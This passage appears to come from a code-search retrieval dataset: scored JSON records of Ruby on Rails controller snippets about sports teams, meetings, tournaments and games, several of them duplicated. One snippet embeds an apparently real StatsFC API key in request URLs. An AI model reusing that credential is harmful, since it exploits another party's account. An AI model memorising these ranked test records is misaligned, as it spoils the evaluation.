cup\n @closed_goggle_cup = GoggleCup.find( params[:id].to_i )\n @team = @closed_goggle_cup.team.decorate if @closed_goggle_cup\n\n\n @tab_title = @closed_goggle_cup.get_full_name\n\n # Gets goggle cup ranks\n @closed_goggle_cup_rank = @closed_goggle_cup ? @closed_goggle_cup.calculate_goggle_cup_rank : []\n end", "title": "" }, { "docid": "f381c68d9c4c276f7c6fcb11ca0d97b0", "score": "0.52153105", "text": "def show\n user = self.load_user(params)\n meeting = load_meeting(params)\n\n if user != nil && meeting != nil\n self.send_json(\n meeting.to_json(:include => {\n :participants => {:only => [:id, :name, :email]},\n :suggestions => {:include => [:votes]}\n })\n )\n else\n self.send_error 401\n end\n end", "title": "" }, { "docid": "0edda2da76826c5196dd9b4176e81f22", "score": "0.52083564", "text": "def participating_in\n @campaigns = Campaign.running.limit(3)\n @participating_in = @campaigns.select{|c| c.participating_users.include? current_user}\n render partial: \"participating_in\", layout: false\n end", "title": "" }, { "docid": "d18e1c27badd6740917f695919ea3692", "score": "0.5205661", "text": "def index\n team_name = params[:team_name]\n team = Team.is_like(team_name).first if team_name.present?\n if team\n redirect_to team_path(team)\n end\n\n @show_jumbo = anonymous and request.path == '/'\n @games = Game.relevant.order(updated_at: :desc )\n end", "title": "" }, { "docid": "45469526188732f395b13e194b87a689", "score": "0.52033937", "text": "def coach\n fetch('football.coaches')\n end", "title": "" }, { "docid": "0d2395eb808f9e8765d56d46c0b537af", "score": "0.5192711", "text": "def show\n @competition = @match.competition\n update_channel_name(@match)\n end", "title": "" }, { "docid": "7f6db8509f2b1182642673fbd781031c", "score": "0.5189275", "text": "def show\n respond_with MatchDayTeam.find(params[:id])\n end", "title": "" }, { "docid": "f658db95af0a2c42044af7c61ac976b0", "score": "0.51872694", "text": "def show\n @meeting = Meeting.find(params[:id])\n\t\t@topics = Topic.where(:meeting_id => @meeting.id)\n\t\t@title = \"Spotkania | \" + @meeting.title\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meeting }\n end\n end", "title": "" }, { "docid": "1c7f54b80048141fa08be6b94b866b5b", "score": "0.51702845", "text": "def show\n respond_with(@coaches = Coach.find(params[:id]))\n end", "title": "" }, { "docid": "a011ead2d6ca4588946c872648f31a3a", "score": "0.5164381", "text": "def show_team_info(team)\n t = $nbl_league.find_team(team)\n t.show_team_full_info\nend", "title": "" }, { "docid": "df1201bebaefd39c8d74a61bdb928ab6", "score": "0.51616704", "text": "def index\n @team = Team.find_by_id(params[:team_id])\n @invite_requests = @team.invite_requests\n end", "title": "" }, { "docid": "99e8f6379a93c610eabd530f653f4d73", "score": "0.5161654", "text": "def show\n #@projects = Project.active\n @teams = Team.for_user(current_user)\n @team_leads = @team.team_leads\n @members = @team.members.by_name\n end", "title": "" }, { "docid": "54371cfe22368d1e83a3347a2ae5692d", "score": "0.51610726", "text": "def show\n @course = Course.find(params[:id])\n\n# teams = Team.find_by_course_id(params[:id])\n teams = Team.find(:all, :conditions => [\"course_id = ?\", params[:id]])\n\n @emails = []\n teams.each do |team|\n team.people.each do |person|\n @emails << person.email\n end\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @course }\n end\n end", "title": "" }, { "docid": "1686dfc1c9b86c184e40621a11895e0f", "score": "0.51594615", "text": "def index\n @meetings = Meeting.all\n end", "title": "" }, { "docid": "1686dfc1c9b86c184e40621a11895e0f", "score": "0.51594615", "text": "def index\n @meetings = Meeting.all\n end", "title": "" }, { "docid": "1686dfc1c9b86c184e40621a11895e0f", "score": "0.51594615", "text": "def index\n @meetings = Meeting.all\n end", "title": "" }, { "docid": "1686dfc1c9b86c184e40621a11895e0f", "score": "0.51594615", "text": "def index\n @meetings = Meeting.all\n end", "title": "" }, { "docid": "1686dfc1c9b86c184e40621a11895e0f", "score": "0.51594615", "text": "def index\n @meetings = Meeting.all\n end", "title": "" }, { "docid": "1686dfc1c9b86c184e40621a11895e0f", "score": "0.51594615", "text": "def index\n @meetings = Meeting.all\n end", "title": "" }, { "docid": "8893a3ed8edae4b7a57cf02a291fdc0f", "score": "0.51536644", "text": "def count_details\n team = Team.find_by_id( params[:id] )\n if team\n render(\n json: \"#{I18n.t('meeting.total_attended_meetings')}: \" +\n team.meetings.collect{|row| row.id}.uniq.size.to_s +\n \", #{I18n.t('meeting.total_results_short')}: \" +\n ( team.meeting_individual_results.count + team.meeting_relay_results.count ).to_s\n )\n else\n render( json: '' )\n end\n end", "title": "" }, { "docid": "944ea612d9547ea72e4137405b2edbe4", "score": "0.51535624", "text": "def team\n @club = Club.find(params[:id])\n\n respond_to do |format|\n format.html #team.html.erb\n end\n end", "title": "" }, { "docid": "9739ca46cab4dae4d2c05eddfceec630", "score": "0.51381975", "text": "def index\n\t\t@teams = Team.order(\"name ASC\").all\n\n\t\t# Pulls upcoming fixtures in Premier League\n\t\t@data = party_time(\"http://api.statsfc.com/premier-league/fixtures.json?key=DThzCPsM_TI0XUGeUOJqr26JHwtYXVIfYvSSb0ui&timezone=America/New_York&limit=10\")\n\n\t\t# Pulls top scorers in Premier League\n\t\t@data2 = party_time(\"http://api.statsfc.com/top-scorers.json?key=DThzCPsM_TI0XUGeUOJqr26JHwtYXVIfYvSSb0ui&competition=premier-league&year=2013/2014&limit=10\")\t\n\n\t\t# Pulls news articles about the league through Google RSS\n\t\tdata = party_time(\"https://news.google.com/news/feeds?q=barclays+premier+league&output=rss\")\n\t\t@articles = data[\"rss\"][\"channel\"][\"item\"]\n\tend", "title": "" }, { "docid": "407dd9dbadd09493b48d768b9dedf915", "score": "0.5137593", "text": "def has_results?\n meeting_individual_results.has_points(:goggle_cup_points).exists?\n end", "title": "" }, { "docid": "7a69b61b7ecc1460cb4eab4435a3ac12", "score": "0.5115249", "text": "def show\n @meeting = Meeting.find(params[:id])\n @user = User.find_by_watiam(session[:cas_user])\n\n @allattendees = Attendee.where(:meeting_id => @meeting.id).all\n @allattendees.find(:sort => 'weight')\n @allusers = []\n \n \n #creates array of users that are attending the meeting\n @allattendees.each do |attendee|\n @userall = User.find(:first, :conditions => {:id => attendee.user_id})\n @allusers << @userall\n end\n \n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meeting }\n end\n end", "title": "" }, { "docid": "eee0e4f3b75d34be171427c0b320b43c", "score": "0.51151437", "text": "def show\n @meeting = Meeting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meeting }\n end\n end", "title": "" }, { "docid": "eee0e4f3b75d34be171427c0b320b43c", "score": "0.51151437", "text": "def show\n @meeting = Meeting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meeting }\n end\n end", "title": "" }, { "docid": "c1dbb9ccab5baa9b293531f309a92a5d", "score": "0.51036006", "text": "def show\n @teams = Team.all\n @group_stage_winners = GroupStageWinner.all\n @qf_winners = QfWinner.all\n @sf_winners = SfWinner.all\n @ko16_winners = Ko16Winner.all\n @final_winners = FinalWinner.all\n @users = User.all\n end", "title": "" }, { "docid": "c1dbb9ccab5baa9b293531f309a92a5d", "score": "0.51036006", "text": "def show\n @teams = Team.all\n @group_stage_winners = GroupStageWinner.all\n @qf_winners = QfWinner.all\n @sf_winners = SfWinner.all\n @ko16_winners = Ko16Winner.all\n @final_winners = FinalWinner.all\n @users = User.all\n end", "title": "" }, { "docid": "8fc22fc36a48a11a33a4645f71c33f40", "score": "0.5095634", "text": "def show\n @game = Game.find(params[:id])\n @home_team = Team.find(@game.home_team_id)\n @away_team = Team.find(@game.away_team_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game }\n end\n end", "title": "" }, { "docid": "f493fe5be017c7220bf55ad9d59cbf11", "score": "0.5082452", "text": "def my\n open_season_ids = Season.is_not_ended.select(:id).map{|s| s.id }\n\n # Why refine? If user tags a meeting out form his affikliation it should be shown\n browsable_season_ids = open_season_ids\n # Refine the list of open seasons:\n #browsable_season_ids = open_season_ids.select{ |season_id|\n # ! current_user.find_team_affiliation_id_from_badges_for( season_id ).nil?\n #} + open_season_ids.select{ |season_id|\n # ! current_user.find_team_affiliation_id_from_team_managers_for( season_id ).nil?\n #}\n #browsable_season_ids.uniq!\n\n # Extract the user-tagged browsable meetings:\n meeting_id_list = Meeting\n .where( \"meetings.season_id IN (?)\", browsable_season_ids )\n .tagged_with( \"u#{ current_user.id }\", on: :tags_by_users )\n .select( :id, :season_id )\n .map{ |meeting| meeting.id }\n\n # If user has an associated swimmer look for team tagged and attended meetings too\n if current_user.has_associated_swimmer?\n # Add also the team-tagged browsable meetings.\n # Find the current, browsable team affiliations that may have tagged the meetings,\n # and, for each, add any tagged meeting found to the list:\n browsable_season_ids\n .map{ |season_id| current_user.find_team_affiliation_id_from_badges_for(season_id) }\n .compact.each do |tagger_team_affiliation_id|\n meeting_id_list += Meeting\n .where( [\"meetings.season_id IN (?)\", browsable_season_ids] )\n .tagged_with( \"ta#{ tagger_team_affiliation_id }\", on: :tags_by_teams )\n .select( :id, :season_id )\n .map{ |meeting| meeting.id }\n end\n\n # .where( [\"meetings.id not in (?) and meetings.season_id IN (?)\", meeting_id_list, browsable_season_ids] )\n\n # Add also any already attended and closed meeting belonging to the browsable\n # seasons: (the relationship w/ swimmer is through MIRs, so the inner join is enough)\n meeting_id_list += current_user.swimmer.meetings\n .where( [\"meetings.season_id IN (?)\", browsable_season_ids] )\n .select( :id, :season_id )\n .map{ |meeting| meeting.id }\n end\n\n# .where( [\"meetings.id not in (?) and meetings.season_id IN (?)\", meeting_id_list, browsable_season_ids] )\n\n @calendarMeetingPicker = CalendarMeetingPicker.new( nil, nil, nil, meeting_id_list.uniq! )\n @calendarDAO = @calendarMeetingPicker.pick_meetings( 'DESC', false, current_user )\n @meetings = @calendarDAO.get_meetings\n\n end", "title": "" }, { "docid": "639221e8f5de0344d3ce0456a3d4154a", "score": "0.5078944", "text": "def show\n @award = Award.find(params[:id])\n @title = \"Team Standings for #{@award.company_type} & #{@award.company_size_range} Employees | Bike Commuter Challenge\" \n\n if @award.isindividual == nil || @award.isindividual == false\n\n if @award.goal == 'Participation Rate'\n goal = 'team_participation desc'\n elsif @award.goal == 'Total Mileage'\n goal = 'mileage desc'\n elsif @award.goal == 'Number of Newbies'\n goal = 'newbies desc'\n elsif @award.goal == 'Number of Commutes'\n goal = 'total_commutes desc'\n elsif @award.goal == 'Total Commuters'\n goal = 'total_commuters desc'\n else goal = 'company asc'\n end\n\n @teams = Team.where(:company_type => @award.company_type,\n :company_size_range => @award.company_size_range,)\n .order(\"#{goal}\")\n \n @award_list = Award.where(:company_type => @award.company_type,\n :company_size_range => @award.company_size_range)\n \n else\n\n commuters = User.joins(:commutes).select(\"distinct(users.id)\")\n @users = Array.new\n commuters.each do |commuter|\n @users << User.find_by_id(commuter)\n end\n \n @award_list = Award.where(:isindividual => true)\n \n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @award }\n end\n end", "title": "" }, { "docid": "a13eb60b637b39d7b9a2c4355d4030d5", "score": "0.5068874", "text": "def show\n authorize @meetup\n @video = @meetup.video_url[/=(.*)/][1..-1] if (@meetup.video_url && \\\n @meetup.video_url.length.positive?)\n @reviews = @meetup.assistances.where.not(review: nil).order(created_at: :desc)\n .page(params[:page])\n @reportable_type = 'Meetup'\n end", "title": "" }, { "docid": "23e3a7acb59cf3cf50c466ef52e9b820", "score": "0.5067567", "text": "def show\n @teams = Team.all\n @visiting_games = @team.visiting_games.where(\"tournament_id = ?\",@current_tournament.id)\n @local_games = @team.games.where(\"tournament_id = ?\",@current_tournament.id)\n @games = @local_games+@visiting_games\n @players = @team.players.where(\"tournament_id = ?\",@current_tournament.id)\n @scores = {}\n #@query = @team.score(@team.tournaments.find(1))\n @tournaments=@team.tournaments\n @team.tournaments.each do |tournament|\n @scores[tournament]=@team.score(tournament)\n end\n end", "title": "" }, { "docid": "d3b6e777c2444a4278909bdaf64bcc54", "score": "0.5067187", "text": "def index\n @meetings = Meeting.all\nend", "title": "" }, { "docid": "5ffba8a0b2bceb3bbe3ffb0e1ba059d6", "score": "0.5066646", "text": "def show\n begin\n @meeting = Meeting.find(params[:id])\n #more code here\n rescue ActiveRecord::RecordNotFound\n redirect_to :action=>\"index\", :type => \"attending\"\n return\n end\n \n xml_rsp = Typhoeus::Request.get(@meeting.runningurl).body\n \n if Nokogiri.XML(xml_rsp).xpath('//response/running')[0].content == \"true\"\n @running = true\n else\n @running = false\n end\n \n \n #if \n # @meeting.status = 0\n # @meeting.save \n #end\n \n if !params[:accept].nil? && params[:accept] == '1' && @meeting.tutor_id == session[:tutor_id]\n #only tutor for the meeting can accept the meeting\n @meeting.accept = 1\n @meeting.status = 1# status has further meanings, meeting started 2, meeting completed 2\n @meeting.save\n redirect_to @meeting\n return\n elsif !params[:accept].nil? && params[:accept] == '-1' && @meeting.tutor_id == session[:tutor_id]\n @meeting.accept = -1\n @meeting.status = -1\n @meeting.save\n ta = @meeting.tutor_availability\n ta.taken = 0\n ta.save\n redirect_to @meeting\n return\n elsif !params[:started].nil? && params[:started] == '2' && (@meeting.tutor_id == session[:tutor_id] || @meeting.tutor_id == session[:tutor_id])\n @meeting.status = 2\n @meeting.save \n elsif !params[:finish].nil? && (@meeting.user_id == session[:user_id] || @meeting.tutor_id == session[:tutor_id])\n @meeting.status = 3\n @meeting.save\n elsif !params[:accept].nil? && params[:accept] == '1' && @meeting.tutor_id != session[:tutor_id]\n end\n #puts params.inspect\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meeting }\n end\n end", "title": "" }, { "docid": "bf2908470f54983ba5113ba13d27e564", "score": "0.5066029", "text": "def show_teams\n puts(@teams.to_s);\n end", "title": "" }, { "docid": "fe0febfc003dd5b4e73d9548a91b35f6", "score": "0.5064199", "text": "def show\n @id = @my_team.team_id\n @team_name = Teams.find(@id)\n roster = RestClient.get(\"https://statsapi.web.nhl.com/api/v1/teams/#{@id}/roster\")\n @roster = JSON.parse(roster)[\"roster\"]\n end", "title": "" }, { "docid": "40627f908a583b64167da211ec2969ab", "score": "0.5060891", "text": "def join_team\n data = {\n display_name: params[:display_name],\n solver_id: params[:solver_id],\n red: params[:red],\n green: params[:green],\n blue: params[:blue]\n }\n Pusher.trigger(params[:channel], 'join_puzzle', data)\n render nothing: true\n end", "title": "" }, { "docid": "60883f770dd7ee2886d8b14bc3693543", "score": "0.5049784", "text": "def show\n @team = Team.find(params[:team_id])\n @workout = @team.workouts.find(params[:workout_id])\n @practice = @workout.practices.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @practice }\n end\n end", "title": "" }, { "docid": "bafc9c7aa0ba54d85e282c8d1fbb5d37", "score": "0.50491154", "text": "def index\n # # @meetings = Meeting.all\n # # Why check params for user_holder, but then using the root user one?\n # # I assume it is root user for now.\n # if params[:user_holder_id]\n # @cur_user_holder = current_user.user_holder\n # @meetings = @cur_user_holder.meetings\n # else\n # # No point to show all meeting.\n # @meetings = Meeting.all\n # end\n @pending_meetings = current_user.user_holder.meetings.where(status: \"pending\")\n @confirmed_meetings = current_user.user_holder.meetings.where(status: \"confirmed\")\n end", "title": "" }, { "docid": "50f53a61ca1e3b8a811855e479afab26", "score": "0.5047015", "text": "def show\n # @teams = ::Services::TeamService.show_teams\n end", "title": "" }, { "docid": "873bf58986b9b9a4a75b0a748d0366ea", "score": "0.5042621", "text": "def get_teams_by_league(league_id)\n response = parse_api_request(\"#{BASE_URL}teams/league/#{league_id}\")[\"teams\"]\nend", "title": "" }, { "docid": "ef4ad0d90aa4e18292fdd68a70e1e199", "score": "0.5041447", "text": "def faft_teams_query()\n return \"SELECT dt.team_id\n FROM divisions_teams dt, leagues l, divisions d\n WHERE l.id = d.league_id\n AND d.id = dt.division_id\n AND l.source_id IS NOT NULL\n AND l.source = \\\"faft\\\"\"\n end", "title": "" }, { "docid": "e69f3c864cb27876a677ad4957d817ea", "score": "0.50310355", "text": "def index\n @events = @team.events.upcoming_events\n end", "title": "" }, { "docid": "f82be655bef627ce79dc54120a8e67a8", "score": "0.50265294", "text": "def show\n @team = Team.find(params[:id])\n @teams_tournaments = TeamsTournament.find(:all, :include => [:tournament], :conditions => [\"team_id = ?\", @team.id])\n @unconfirmed = @teams_tournaments.find_all{|item| item.confirmed == false}\n @confirmed = @teams_tournaments.find_all{|item| item.confirmed == true}\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @team }\n end\n end", "title": "" }, { "docid": "475dc4394249d5049b7dae60caf42aa1", "score": "0.50239915", "text": "def display_meet(meet)\n\t\tputs \"Opponent: \" + meet.opponent\n\t\tputs \"Date: \" + meet.date\n\t\tputs \"Time: \" + meet.time\n\t\tputs \"Result: \" + meet.result\n\tend", "title": "" }, { "docid": "ec32dd239404343ea79f77dfad56003c", "score": "0.5022513", "text": "def show\n @battles = @round.battles\n \n if current_user.try(:admin?)\n if @round.round_no == 1\n # first round use tournament participation\n # choose from registered tournament participation\n @tournamentpars = @round.tournament.tournament_participations\n else\n # rounds later than the first round\n # select from previous round\n @rounds = @round.tournament.rounds\n @rounds.each do |round|\n if round.round_no == (@round.round_no - 1)\n @lastroundpars = round.round_participations\n end\n end\n end\n end\n end", "title": "" }, { "docid": "47c3c66e3c1884405e9316cadaf25ff5", "score": "0.50224227", "text": "def show\n @tournament = Tournament.find(params[:id])\n @matches = @tournament.matches.sort\n #Retrieve the players in the order that they appear on the view\n @all_player_spots = GetPlayers.run(@tournament, @matches)\n\n case @tournament.size\n when 4\n if (@tournament.double_elim)\n render 'show_four_person_double_elim_tournament'\n else\n render 'show_four_person_tournament'\n end\n when 8\n if (@tournament.double_elim)\n render 'show_eight_person_double_elim_tournament'\n else\n render 'show_eight_person_tournament'\n end\n end\n end", "title": "" }, { "docid": "cce3db1067495a0f5d3b7155e3ffbcc5", "score": "0.50183314", "text": "def teams\n standings_data = self.standings\n display_teams = []\n\n object.teams.each do |t|\n display_teams << t if standings_data[:data].key?(t.id) && standings_data[:data][t.id][:played] > 0\n end\n\n display_teams\n end", "title": "" }, { "docid": "b1721f3efd0b4269539c27be42ba1b0f", "score": "0.5018248", "text": "def team\n @team = Team.where('team_id = ?', params[:id])\n @active_stats = ActiveStat.where('team_id = ?', params[:id])\n\n respond_to do |format|\n format.html\n format.json\n end\n end", "title": "" }, { "docid": "1e3795cda66220414d70516f61fb4841", "score": "0.5017849", "text": "def show\n @game = Game.find(params[:id])\n @home = AnnualStat.where(:year => Date.new(@game.date.year), :team_id => @game.teams[:home].id).first\n @away = AnnualStat.where(:year => Date.new(@game.date.year), :team_id => @game.teams[:away].id).first\n \n @prev = Game.find(params[:id].to_i - 1)\n @next = Game.find(params[:id].to_i + 1)\n \n respond_to do |format|\n format.html { @game.ncaa_id.nil? ? render('preview') : render('show') }\n format.json { render json: @game }\n end\n end", "title": "" }, { "docid": "7ac685d7a3f7933bd3280dbef2a11a2f", "score": "0.50175184", "text": "def show\n\n @hacker = User.find(params[:hacker_id]) if params[:hacker_id]\n\n if params['id']\n # show in context of specific event\n @event = Event.find(params[:id]) if params[:id]\n @team = Team.joins(:users).where(:users => {:id => params['id']}).first\n # @hacks = Hack.where(\"team_id = ?\", @team.id)\n else\n # show all events if no event specified\n @attendances = Attendance.where(\"user_id = ?\", params[:hacker_id])\n # select * from hacks inner join teams on hacks.team_id = teams.id \n # inner join affiliations on teams.id = affiliations.team_id \n # inner join users on users.id = affiliations.user_id \n # where users.id = 3;\n @hacks = Hack.joins(:team => :users).where('users.id = ?', params[:hacker_id]) \n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hacker }\n end\n end", "title": "" }, { "docid": "8331ba1a316776d1ece888ca7e9bea7f", "score": "0.50140494", "text": "def team_information_list\n @teams = Team.find_teams_by_user(session[:user_id])\n \n end", "title": "" }, { "docid": "f0ecb27cae075a08bc2eed641daae547", "score": "0.50106853", "text": "def show\n @meeting = Meeting.find(params[:id])\n @assignment = Assignment.find(:first,\n :conditions => [\"assignable_type = ? and assignable_id = ?\",\n @meeting.class.to_s, @meeting.id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @meeting }\n end\n end", "title": "" }, { "docid": "1ada10514406bb7beeb10d8bfce8c1b1", "score": "0.5003055", "text": "def index\n if /src\\s*=\\s*\"([^\"]*)\"/.match(@info.google_url) == nil\n @src = \"https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d2400.5677867947065!2d18.592480115825765!3d53.01015547990988!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x4703350305e6c35d%3A0xe2a77458f7322cc4!2sUniwersytet+Miko%C5%82aja+Kopernika.+Wydzia%C5%82+Matematyki+i+Informatyki!5e0!3m2!1spl!2spl!4v1492452818093\"\n else\n @src = /src\\s*=\\s*\"([^\"]*)\"/.match(@info.google_url)[1]\n end\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "4877726ede4c91896dffbee165f8bad7", "score": "0.5001239", "text": "def results\n @teams.map { |team| V1::TeamPresenter.new(team).present }\n end", "title": "" } ]
e5b4a22f197abb0bb2468e355cb9a679
Squash the last two commits of buildbottlepr. Usage: brew buildbottlepr foo brew pull bottle 123 brew squashbottlepr
[ { "docid": "8985c6aa106a52f9464d3273cf0d1735", "score": "0.7886674", "text": "def squash_bottle_pr\n unless Utils.popen_read(\"git\", \"log\", \"-n1\", \"--pretty=%s\", \"HEAD~1\") =~ /: Build a bottle for Linuxbrew$/\n opoo \"No build-bottle-pr commit was found\"\n return\n end\n\n head = `git rev-parse HEAD`.chomp\n formula = `git log -n1 --pretty=format:%s`.split(\":\").first\n file = Formula[formula].path\n marker = \"Build a bottle for Linuxbrew\"\n safe_system \"git\", \"reset\", \"--hard\", \"HEAD~2\"\n safe_system \"git\", \"merge\", \"--squash\", head\n # The argument to -i is required for BSD sed.\n safe_system \"sed\", \"-iorig\", \"-e\", \"/^#.*: #{marker}$/d\", file\n rm_f file.to_s + \"orig\"\n\n git_editor = ENV[\"GIT_EDITOR\"]\n ENV[\"GIT_EDITOR\"] = \"sed -n -i -e 's/.*#{marker}//p;s/^ //p'\"\n safe_system \"git\", \"commit\", file\n ENV[\"GIT_EDITOR\"] = git_editor\n\n safe_system \"git\", \"show\" if ARGV.verbose?\n\n if Utils.popen_read(\"git\", \"log\", \"-n1\", \"--pretty=%s\", \"HEAD~1\") =~ /^drop! /\n bottle_head = Utils.popen_read(\"git\", \"rev-parse\", \"HEAD\").chomp\n safe_system \"git\", \"reset\", \"--hard\", \"HEAD~2\"\n safe_system \"git\", \"cherry-pick\", bottle_head\n end\n end", "title": "" } ]
[ { "docid": "cf2a85fe1d9834b3f9fe28ff0db71390", "score": "0.55017364", "text": "def clean_up\n %x[rm -rf #{BUILD_DIR}]\n checkout_result = %x[git checkout -f]\n checkout_result = %x[git stash apply]\nend", "title": "" }, { "docid": "ece0fe770655a9c7c9374f5a87c56a8f", "score": "0.535343", "text": "def rebuild\n reset\n system \"git push #{extract_app_from_git_config || \"heroku\"} master\"\n end", "title": "" }, { "docid": "863c72c6285a035c8c82959d548f6fff", "score": "0.520651", "text": "def pull\n if is_inside_work_tree?\n checkout\n else\n clone\n end\n reset if sha # specific sha was requested\n @sha = rev_parse # return sha\n end", "title": "" }, { "docid": "87c8febf3fdb1fb5cb778c3d3f4d3525", "score": "0.5150309", "text": "def squish!; end", "title": "" }, { "docid": "87c8febf3fdb1fb5cb778c3d3f4d3525", "score": "0.5150309", "text": "def squish!; end", "title": "" }, { "docid": "53380dc298e3e1915a01b356fd3f53b1", "score": "0.5149358", "text": "def update_deploy_to_master\n signature = 'sha1=' + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), AppConfig['github']['secret_token'], request.raw_post)\n puts \"calculated signature: #{signature} | #{request.env['HTTP_X_HUB_SIGNATURE']}\"\n render plain: \"You're not GitHub!\", status: 403 and return unless Rack::Utils.secure_compare(signature, request.env['HTTP_X_HUB_SIGNATURE'])\n\n unless params[:ref] == \"refs/heads/master\"\n render plain: \"Not on master; not interested\" and return\n end\n\n new_sha1 = params[:after]\n\n # false indicates a not-force-push\n Octokit.update_ref \"Charcoal-SE/SmokeDetector\", \"heads/deploy\", new_sha1, false\n end", "title": "" }, { "docid": "0f67c9832e82e94b30ee8fe9368568f7", "score": "0.5120279", "text": "def rehash repo\n end", "title": "" }, { "docid": "2c2301078e0344cb9f68dc3acbf00620", "score": "0.51156133", "text": "def squash!\n Babushka::LogHelpers.deprecated! '2017-09-01'\n delete_if(&:blank?)\n end", "title": "" }, { "docid": "4949b6a04b2ac81026c333e664295e48", "score": "0.50592285", "text": "def squash\n Babushka::LogHelpers.deprecated! '2017-09-01'\n dup.squash!\n end", "title": "" }, { "docid": "de5ef182d31916efeac22164eaca8910", "score": "0.505502", "text": "def rebase_and_push\n log \"preparing local branch\"\n check_everything_commited!\n branch = current_branch\n git \"checkout master\"\n git \"pull --rebase\"\n git \"checkout #{branch}\"\n git \"rebase master\"\n git \"push -u -f origin #{branch}\"\n end", "title": "" }, { "docid": "9a94fb3a0a856e4df06acc2ea9a92933", "score": "0.5021942", "text": "def raise_pr(namespace)\n branch = \"update-rds-module-#{namespace}\"\n message = \"Update RDS module for #{namespace}\"\n execute \"git checkout -b #{branch}\"\n execute \"git add #{tfdir(namespace)}\"\n execute %(git commit -m \"#{message}\")\n execute %(git push origin #{branch})\n execute %(hub pull-request -m \"#{message}\")\nend", "title": "" }, { "docid": "8ca601576d47f95e4e7673a7ec051281", "score": "0.50062406", "text": "def do_git_postrelease( task, args )\n\t\tif self.git.status.untracked.keys.any? {|path| path.start_with?('checksum/') }\n\t\t\tself.prompt.say \"Adding release artifacts...\"\n\t\t\tself.git.add( 'checksum' )\n\t\t\tself.git.commit( \"Adding release checksum.\" )\n\t\tend\n\n\t\tRake::Task['git:push'].invoke\n\tend", "title": "" }, { "docid": "2be4a31690dd48804ca4e1cfc4eda548", "score": "0.49971536", "text": "def reset_repo(root, repo)\n sh \"git reset HEAD --hard\"\nend", "title": "" }, { "docid": "eb3ace17decb749df9ea0e7c5a5d581e", "score": "0.49849927", "text": "def merge_pr_totarget(upstream, pr_branch, repo)\n goto_prj_dir(repo)\n check_git_dir\n `git checkout #{upstream}`\n check_duplicata_pr_branch(\"#{pr_fix}#{pr_branch}\")\n `git remote update`\n `git fetch`\n `git pull origin #{upstream}`\n `git checkout -b #{pr_fix}#{pr_branch} origin/#{pr_branch}`\n return if $CHILD_STATUS.exitstatus.zero?\n # if it fails the PR contain a forked external repo\n repo_external.checkout_into\n end", "title": "" }, { "docid": "da7acc2c30689be6312375eaddcf8ec2", "score": "0.49745837", "text": "def prep_build\n # Reset back to master and ensure the build branch is removed\n %x( cd #{@resource[:phpenv_root]}/php-src/ && git checkout -f master && git branch -D build &> /dev/null )\n\n # Checkout version as build branch\n %x( cd #{@resource[:phpenv_root]}/php-src/ && git checkout php-#{@resource[:php_version]} -b build )\n\n # Clean everything\n %x( cd #{@resource[:phpenv_root]}/php-src/ && git clean -f -d -x )\n end", "title": "" }, { "docid": "22f8c79d9c4323918c81faad6cbcece8", "score": "0.49731088", "text": "def pull_commits(repo, number, options = T.unsafe(nil)); end", "title": "" }, { "docid": "b06838258f2aee51bce0e0dc060ee37a", "score": "0.49656966", "text": "def del_pr_branch(upstream, pr)\n `git checkout #{upstream}`\n `git branch -D #{pr_fix}#{pr}`\n end", "title": "" }, { "docid": "c377a92909c3897b1ed6b97642115a84", "score": "0.49589804", "text": "def run_build(topic)\n @git.apply_patchset(topic.latest_patchset)\n @git.push_to_github(topic)\n @git.ensure_pull_request(topic)\n rescue StandardError => e\n log \"Could not complete build: #{e.message}\"\n raise\n end", "title": "" }, { "docid": "d39f4cad8f1e564c272665548c74ca82", "score": "0.4942595", "text": "def prep_build(version)\n # Reset back to master and ensure the build branch is removed\n %x( cd #{@resource[:phpenv_root]}/php-src/ && git checkout -f master && git branch -D build &> /dev/null )\n\n # Checkout version as build branch\n %x( cd #{@resource[:phpenv_root]}/php-src/ && git checkout php-#{version} -b build )\n\n # Clean everything\n %x( cd #{@resource[:phpenv_root]}/php-src/ && git clean -f -d -x )\n end", "title": "" }, { "docid": "9efed7cf5eced50a47d6b092e9aa6a90", "score": "0.49030915", "text": "def pull_rebase\n if has_remote_commits?\n @cli.run \"git pull --rebase\"\n end\n end", "title": "" }, { "docid": "c70ae471a7496ccb6ec0501893976fe6", "score": "0.48885837", "text": "def cmd\n if delete_safely? || options.override\n c = [\"git push origin :#{target_branch}\"]\n c << argument_string(unknown_options) unless unknown_options.empty?\n c.join(\" \")\n else\n $stderr.puts \"Target branch contains unmerged commits.\"\n $stderr.puts \"Please cherry-pick the commits or merge the branch again.\"\n $stderr.puts \"Use -o or --override to override.\"\n end\n end", "title": "" }, { "docid": "daceb06c4c88e3609b9ad31e7561d36a", "score": "0.48379394", "text": "def update_github\n @log.info \"------------------------------\"\n @log.info \"updating git\"\n @log.info \"------------------------------\"\n x = Subexec.run \"git add -A\"\n x = Subexec.run \"git commit -am 'Automated new jobs collected on #{Time.now.strftime('%F')}'\"\n x = Subexec.run \"git push origin master\"\nend", "title": "" }, { "docid": "daceb06c4c88e3609b9ad31e7561d36a", "score": "0.48379394", "text": "def update_github\n @log.info \"------------------------------\"\n @log.info \"updating git\"\n @log.info \"------------------------------\"\n x = Subexec.run \"git add -A\"\n x = Subexec.run \"git commit -am 'Automated new jobs collected on #{Time.now.strftime('%F')}'\"\n x = Subexec.run \"git push origin master\"\nend", "title": "" }, { "docid": "326f36126dd6ac0159ea603fc0451734", "score": "0.48227856", "text": "def brpop(*args); end", "title": "" }, { "docid": "326f36126dd6ac0159ea603fc0451734", "score": "0.48227856", "text": "def brpop(*args); end", 